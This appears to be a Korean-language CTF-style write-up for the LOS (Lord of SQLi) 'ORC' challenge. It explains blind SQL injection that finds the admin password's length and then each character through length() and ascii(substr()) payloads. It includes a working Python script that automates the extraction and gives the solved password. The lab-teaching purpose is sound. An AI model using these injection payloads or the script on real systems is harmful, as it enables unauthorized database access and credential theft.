LOS(The Lord of the SQLI) 4 - ORC
4번 문제인 ORC의 경우
이 문제는 해결하기 위해서 admin 계정의 pw값을 알아야하는 Blind-SQL Injection 공격 문제이다.
문제를 해결하기 위해선
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) 를 만족시켜야 한다.
그러기 위해선, $result['pw'] 값이 있어야 되고, pw 파라미터로 입력받은 값이 $result['pw']와 같아야 한다.
문제를 풀기 위한 Blind-SQL Injection 공격을 먼저 살펴보자
우선 이 문제에서 pw값을 알아내기 위해 수행해야 하는것은 pw의 길이를 찾아내야 한다.
pw 파라미터에 ' or id='admin' and length(pw) = 숫자 %23를 입력해 pw의 길이를 먼저 알아낸다.
select id from prob_orc where id='admin' and pw=' ' or id='admin' and length(pw) = 8 %23'
여기서 주의해야 하는 점은 꼭 id = 'admin' and 라는 제약조건을 설정해야 한다.
' or id='admin' and length(pw) = 8 %23 처럼 id = 'admin' and라는 제약조건을 주지 않는다면,
admin의 pw 정보가 아닌 다른 계정의 pw 정보를 가져오기 때문에 잘못된 pw값을 가져오게 된다.
숫자 8을 입력했을 때 다음과 같이 Hello admin이라는 문구가 출력되므로
pw의 길이는 8이라는 것을 확인할 수 있다.
다음으로 pw의 길이가 8이라는것을 알아 냈으니 pw의 첫번째 자리부터 여덟번째 자리까지 하나하나 추론을 시작한다.
방법은
substr함수와 ascii 함수 혹은 ord 함수를 이용하는것인데,
substr은 정해진 문자를 특정 자릿수만큼 잘라내는 기능을 수행하며
사용 방법은 substr(문자열, 문자열의 시작지점, 시작지점부터의 개수 ) 이다.
예를들어 substr(pw, 1, 1) 이면 pw의 맨 첫번째자리 하나를 뜻한다.
이 substr 함수와 ascii 함수를 이용하면 pw의 각 자리마다의 문자를 알아낼 수 있는데
ascii(substr(pw, 1, 1)) = 97
이는 pw문자열 맨 첫번째자리의 한문자를 아스키 값으로 바꾸었을때 97 인지를 확인한다.
즉 아스키 코드에서 97은 a이므로 pw의 맨 첫자리가 a인지를 묻는것이다.
이런 방법을 통해
소문자의 경우 a의 아스키 값인 97부터 z의 아스키 값인 122까지
대문자인 경우 A의 아스키 값인 65부터 Z의 아스키 값인 90까지
숫자의 경우 0의 아스키 값인 48부터 9의 아스키 값인 57까지를 확인해 본다.
[이번 문제에서는 특수문자를 고려하지 않음]
EX)
pw=' or id ='admin' and ascii(substr(pw, 1, 1)) = 97 %23
pw=' or id ='admin' and ascii(substr(pw, 1, 1)) = 98 %23
pw=' or id ='admin' and ascii(substr(pw, 1, 1)) = 99 %23 ...
문제를 푸는 방식은 이와 같고,
나는 LOS의 Blind-SQL Injection 공격 문제를 풀 때 Blind-SQL Injection 공격을 일일히 수행하기 귀찮아
파이썬을 통한 간단한 공격 스크립트를 제작했으며 코드는 다음과 같다.
import requests
URL = 'http://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' # 자신의 los 4번 문제의 url 주소 수동 입력
cookies ={'PHPSESSID': 'r9g4uodf36p4odesudhr53glvr'} # 자신의 los 세션값 수동 입력
# 패스워드의 길이를 찾는 함수
def find_len():
pw_len = 0
while True:
pw_len += 1
# url? 뒤에 추가될 값이 value
value = "123'or id='admin' and length(pw) = {} #".format(pw_len)
parms={'pw' : value}
response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
if "Hello admin" in response.text: # 받아온 응답값 텍스트 중 'Hello admin'이 존재한다면 패스워드 길이 반환
print("길이는", pw_len, "입니다.")
break
print("Trying")
return pw_len
def find_pw():
pw_len = find_len()
flag=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122): # 아스키 코드값 48 ~ 122 -> 숫자, 알파벳, 특수문자 몇몇
value = "'or id='admin' and ascii(substr(pw,{},1))={}#".format(pw_value,ascii)
parmas = {'pw' :value }
response = requests.get(URL, params=parmas, cookies=cookies)
if "Hello admin" in response.text:
print("pw의",pw_value,"번째는",chr(ascii), '입니다.')
flag += chr(ascii)
print("pw는", flag, "입니다.")
find_pw()
스크립트를 돌려보면, 095a9852가 pw값이라는 것을 확인할 수 있고
이 값을 파라미터로 입력하면 문제를 해결할 수 있다.